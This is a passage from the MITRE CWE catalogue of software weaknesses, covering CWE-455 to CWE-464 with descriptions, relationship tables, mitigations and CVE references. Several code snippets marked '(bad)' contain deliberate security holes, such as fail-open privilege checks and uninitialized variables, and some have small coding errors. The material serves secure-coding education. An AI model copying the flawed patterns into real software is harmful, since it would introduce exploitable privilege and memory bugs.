Any user can activate the debug mode, gaining administrator privileges. An attacker may also use the information printed by the phpinfo() function to further exploit the system. .

This example also exhibits Information Exposure Through Debug Information (CWE-215)

Observed Examples

Reference	Description
CVE-2000-0959	Does not clear dangerous environment variables, enabling symlink attack. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0959*
CVE-2001-0033	Specify alternate configuration directory in environment variable, enabling untrusted path. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0033*
CVE-2001-0872	Dangerous environment variable not cleansed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0872*
CVE-2001-0084	Specify arbitrary modules using environment variable. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0084*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	1957

Notes

Relationship

Overlaps Missing variable initialization, especially in PHP.

Applicable Platform

This is often found in PHP due to register_globals and the common practice of storing library/include files under the web document root so that they are available using a direct request.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			External initialization of trusted variables or values
Software Fault Patterns	SFP25		Tainted input to variable

CWE-455: Non-exit on Failed Initialization

Weakness ID : 455 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error, which can cause the software to execute in a less secure fashion than intended by the administrator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	636	Not Failing Securely ('Failing Open')	1245
ChildOf	C	665	Improper Initialization	1293
ChildOf	C	705	Incorrect Control Flow Scoping	1359

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Modify Application Data Alter Execution Logic *The application could be placed in an insecure state that may allow an attacker to modify sensitive data or allow unintended logic to be executed.*	

Potential Mitigations

Phase: Implementation

Follow the principle of failing securely when an error occurs. The system should enter a state where it is not vulnerable and will not display sensitive error messages to a potential attacker.

Demonstrative Examples

Example 1:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl *(bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Observed Examples

Reference	Description
CVE-2005-1345	Product does not trigger a fatal error if missing or invalid ACLs are in a configuration file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1345*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1939

Notes

Research Gap

Under-studied. These issues are not frequently reported, and it is difficult to find published examples.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Non-exit on Failed Initialization

CWE-456: Missing Initialization of a Variable

Weakness ID : 456 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not initialize critical variables, which causes the execution environment to use unexpected values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	909	Missing Initialization of Resource	1581
CanPrecede	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	187
CanPrecede	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	217
CanPrecede	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280
CanPrecede	V	457	Use of Uninitialized Variable	975

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Unexpected State Quality Degradation Varies by Context *The uninitialized data may be invalid, causing logic errors within the program. In some cases, this could result in a security problem.*	

Potential Mitigations

Phase: Implementation

Check that critical variables are initialized.

Phase: Testing

Use a static analysis tool to spot non-initialized variables.

Demonstrative Examples

Example 1:

This function attempts to extract a pair of numbers from a user-supplied string.

Example Language: C *(bad)*

```
void parse_data(char *untrusted_input){
    int m, n, error;
    error = sscanf(untrusted_input, "%d:%d", &m, &n);
    if ( EOF == error ){
        die("Did not specify integer value. Die evil hacker!\n");
    }
    /* proceed assuming n and m are initialized correctly */
}
```

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

Example Language: *(attack)*

```
123:
```

then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).

Example 2:

Here, an uninitialized field in a Java class is used in a seldom-called method, which would cause a NullPointerException to be thrown.

Example Language: Java *(bad)*

```
private User user;
public void someMethod() {
    // Do something interesting.
    ...
    // Throws NPE if user hasn't been properly initialized.
    String username = user.getName();
}
```

Example 3:

This code first authenticates a user, then allows a delete command if the user is an administrator.

Example Language: PHP *(bad)*

```
if (authenticate($username,$password) && setAdmin($username)){
    $isAdmin = true;
}
/.../
if ($isAdmin){
    deleteUser($userToDelete);
}
```

The $isAdmin variable is set to true if the user is an admin, but is uninitialized otherwise. If PHP's register_globals feature is enabled, an attacker can set uninitialized variables like $isAdmin to arbitrary values, in this case gaining administrator privileges by setting $isAdmin to true.

Example 4:

In the following Java code the BankManager class uses the user variable of the class User to allow authorized users to perform bank manager tasks. The user variable is initialized within the method setUser that retrieves the User from the User database. The user is then authenticated as unauthorized user through the method authenticateUser.

Example Language: Java *(bad)*

```
public class BankManager {
    // user allowed to perform bank manager tasks
    private User user = null;
    private boolean isUserAuthentic = false;
    // constructor for BankManager class
    public BankManager() {
        ...
    }
    // retrieve user from database of users
    public User getUserFromUserDatabase(String username){
        ...
    }
    // set user variable using username
    public void setUser(String username) {
        this.user = getUserFromUserDatabase(username);
    }
    // authenticate user
    public boolean authenticateUser(String username, String password) {
        if (username.equals(user.getUsername()) && password.equals(user.getPassword())) {
            isUserAuthentic = true;
        }
        return isUserAuthentic;
    }
    // methods for performing bank manager tasks
    ...
}
```

However, if the method setUser is not called before authenticateUser then the user variable will not have been initialized and will result in a NullPointerException. The code should verify that the user variable has been initialized before it is used, as in the following code.

Example Language: Java *(good)*

```
public class BankManager {
    // user allowed to perform bank manager tasks
    private User user = null;
    private boolean isUserAuthentic = false;
    // constructor for BankManager class
    public BankManager(String username) {
        user = getUserFromUserDatabase(username);
    }
    // retrieve user from database of users
    public User getUserFromUserDatabase(String username) {...}
```

```
    // authenticate user
    public boolean authenticateUser(String username, String password) {
        if (user == null) {
            System.out.println("Cannot find user " + username);
        }
        else {
            if (password.equals(user.getPassword())) {
                isUserAuthentic = true;
            }
        }
        return isUserAuthentic;
    }
        // methods for performing bank manager tasks
        ...
}
```

Observed Examples

Reference	Description
CVE-2005-2978	Product uses uninitialized variables for size and index, leading to resultant buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2978*
CVE-2005-2109	Internal variable in PHP application is not initialized, allowing external modification. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2109*
CVE-2005-2193	Array variable not initialized in PHP application, leading to resultant SQL injection. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2193*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2000

Notes

Relationship

This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.

Research Gap

It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Initialization
Software Fault Patterns	SFP1		Glitch in computation

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ERR30-C	CWE More Abstract	Set errno to zero before calling a library function known to set errno, and check errno only after the function returns a value indicating failure
SEI CERT Perl Coding Standard	DCL04-PL	Exact	Always initialize local variables
SEI CERT Perl Coding Standard	DCL33-PL	Imprecise	Declare identifiers before using them
OMG ASCSM	ASCSM-CWE-456		
OMG ASCRM	ASCRM-CWE-456		

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-457: Use of Uninitialized Variable

Weakness ID : 457 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The code uses a variable that has not been initialized, leading to unpredictable or unintended results.

Extended Description

In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	908	Use of Uninitialized Resource	1578
CanFollow	V	456	Missing Initialization of a Variable	971

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Perl *(Prevalence = Often)*

Language : PHP *(Prevalence = Often)*

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Other	Other *Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.*	
Authorization Other	Other *Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.*	

Potential Mitigations

Phase: Implementation

Strategy = Attack Surface Reduction

Assign all variables to an initial value.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Most compilers will complain about the use of uninitialized variables if warnings are turned on.

Phase: Implementation

Phase: Operation

When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable's name.

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Architecture and Design

Mitigating technologies such as safe string libraries and container abstractions could be introduced.

Demonstrative Examples

Example 1:

This code prints a greeting using information stored in a POST request:

Example Language: PHP *(bad)*

```
if (isset($_POST['names'])) {
    $nameArray = $_POST['names'];
```

```
}
echo "Hello " . $nameArray['first'];
```

This code checks if the POST array 'names' is set before assigning it to the $nameArray variable. However, if the array is not in the POST request, $nameArray will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit.

Example 2:

The following switch statement is intended to set the values of the variables aN and bN before they are used:

Example Language: C *(bad)*

```
int aN, Bn;
switch (ctl) {
    case -1:
        aN = 0;
        bN = 0;
        break;
    case 0:
        aN = i;
        bN = -i;
        break;
    case 1:
        aN = i + NEXT_SZ;
        bN = i - NEXT_SZ;
        break;
    default:
        aN = -1;
        aN = -1;
        break;
}
repaint(aN, bN);
```

In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.

Observed Examples

Reference	Description
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0081*
CVE-2007-4682	Crafted input triggers dereference of an uninitialized object pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4682*
CVE-2007-3468	Crafted audio file triggers crash when an uninitialized variable is used. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3468*
CVE-2007-2728	Uninitialized random seed variable used. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2728*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	1863

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Uninitialized variable
7 Pernicious Kingdoms			Uninitialized Variable
Software Fault Patterns	SFP1		Glitch in computation
SEI CERT Perl Coding Standard	DCL33-PL	Imprecise	Declare identifiers before using them

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-436]mercy. "Exploiting Uninitialized Data". 2006 January. < http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip >.

[REF-437]Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008 March 1. < http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-459: Incomplete Cleanup

Weakness ID : 459 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not properly "clean up" and remove temporary or supporting resources after they have been used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	877
ParentOf	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	517
ParentOf	B	460	Improper Cleanup on Thrown Exception	981
ParentOf	V	568	finalize() Method Without super.finalize()	1146

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	877

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Insufficient Cleanup :

Common Consequences

Scope	Impact	Likelihood
Other Confidentiality Integrity	Other Read Application Data Modify Application Data DoS: Resource Consumption (Other) *It is possible to overflow the number of temporary files because directories typically have limits on the number of files allowed. This could create a denial of service problem.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Temporary files and other supporting resources should be deleted/released immediately after they are no longer needed.

Demonstrative Examples

Example 1:

Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect).

Example Language: Java *(bad)*

```
try {
    InputStream is = new FileInputStream(path);
    byte b[] = new byte[is.available()];
    is.read(b);
    is.close();
} catch (Throwable t) {
    log.error("Something bad happened: " + t.getMessage());
}
```

Observed Examples

Reference	Description
CVE-2000-0552	World-readable temporary file not deleted after use. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0552*
CVE-2005-2293	Temporary file not deleted after use, leaking database usernames and passwords. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2293*
CVE-2002-0788	Interaction error creates a temporary file that can not be deleted due to strong permissions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0788*
CVE-2002-2066	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2066
CVE-2002-2067	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2067*
CVE-2002-2068	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2068*
CVE-2002-2069	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2069*
CVE-2002-2070	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2070*
CVE-2005-1744	Users not logged out when application is restarted after security-relevant changes were made. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1744*

Functional Areas

- File Processing

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	1908
MemberOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	1950
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	1987
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Notes

Relationship

CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of improper shutdown or release of a resource, CWE-459 deals specifically with a multi-step shutdown process in which a crucial step for "proper" cleanup is omitted or impossible. That is, CWE-459 deals specifically with a cleanup or shutdown process that does not successfully remove all potentially sensitive data.

Relationship

Overlaps other categories such as permissions and containment. Concept needs further development. This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error conditions or early termination).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Cleanup
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	FIO04-J		Release resources when they are no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	FIO00-J		Do not operate on files in shared directories
Software Fault Patterns	SFP14		Failure to release resource

CWE-460: Improper Cleanup on Thrown Exception

Weakness ID : 460 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.

Extended Description

Often, when functions or loops become complicated, some level of resource cleanup is needed throughout execution. Exceptions can disturb the flow of the code and prevent the necessary cleanup from happening.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	755	Improper Handling of Exceptional Conditions	1389
ChildOf	B	459	Incomplete Cleanup	978

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	1967

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	1867

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *The code could be left in a bad state.*	

Potential Mitigations

Phase: Implementation

If one breaks from a loop or function by throwing an exception, make sure that cleanup happens or that you should exit the program. Use throwing exceptions sparsely.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(bad)*

```
public class foo {
    public static final void main( String args[] ) {
        boolean returnValue;
        returnValue=doStuff();
    }
    public static final boolean doStuff( ) {
        boolean threadLock;
        boolean truthvalue=true;
        try {
            while(
            //check some condition
            ) {
                threadLock=true; //do some stuff to truthvalue
                threadLock=false;
            }
        }
        catch (Exception e){
            System.err.println("You did something bad");
            if (something) return truthvalue;
        }
        return truthvalue;
    }
}
```

In this case, you may leave a thread locked accidentally.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1919
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1939
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	1987

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Improper cleanup on thrown exception
The CERT Oracle Secure Coding Standard for Java (2011)	ERR03-J		Restore prior object state on method failure
The CERT Oracle Secure Coding Standard for Java (2011)	ERR05-J		Do not let checked exceptions escape from a finally block
SEI CERT Perl Coding Standard	EXP31-PL	Imprecise	Do not suppress or ignore exceptions

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-462: Duplicate Key in Associative List (Alist)

Weakness ID : 462 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.

Extended Description

A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	694	Use of Multiple Resources with Duplicate Identifier	1346

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Use a hash table instead of an alist.

Phase: Architecture and Design

Use an alist which checks the uniqueness of hash keys with each entry before inserting the entry.

Demonstrative Examples

Example 1:

The following code adds data to a list and then attempts to sort the data.

Example Language: Python *(bad)*

```
alist = []
while (foo()): #now assume there is a string data with a key basename
    queue.append(basename,data)
    queue.sort()
```

Since basename is not necessarily unique, this may not sort how one would like it to be.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	1889
MemberOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	1918
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Duplicate key in associative list (alist)
CERT C Secure Coding	ENV02-C		Beware of multiple environment variables with the same effective name

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-463: Deletion of Data Structure Sentinel

Weakness ID : 463 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The accidental deletion of a data-structure sentinel can cause serious programming logic problems.

Extended Description

Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1362
PeerOf	B	464	Addition of Data Structure Sentinel	986
PeerOf	B	170	Improper Null Termination	395

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Other	Other *Generally this error will cause the data structure to not work properly.*	
Authorization Other	Other *If a control character, such as NULL is removed, one may cause resource access control problems.*	

Potential Mitigations

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Use OS-level preventative functionality. Not a complete solution.

Demonstrative Examples

Example 1:

This example creates a null terminated string and prints it contents.

Example Language: C *(bad)*

```
char *foo;
int counter;
foo=calloc(sizeof(char)*10);
for (counter=0;counter!=10;counter++) {
    foo[counter]='a';
printf("%s\n",foo);
}
```

The string foo has space for 9 characters and a null terminator, but 10 characters are written to it. As a result, the string foo is not null terminated and calling printf() on it will have unpredictable and possibly dangerous results.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Deletion of data-structure sentinel

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-464: Addition of Data Structure Sentinel

Weakness ID : 464 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The accidental addition of a data-structure sentinel can cause serious programming logic problems.

Extended Description

Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.

Relationships

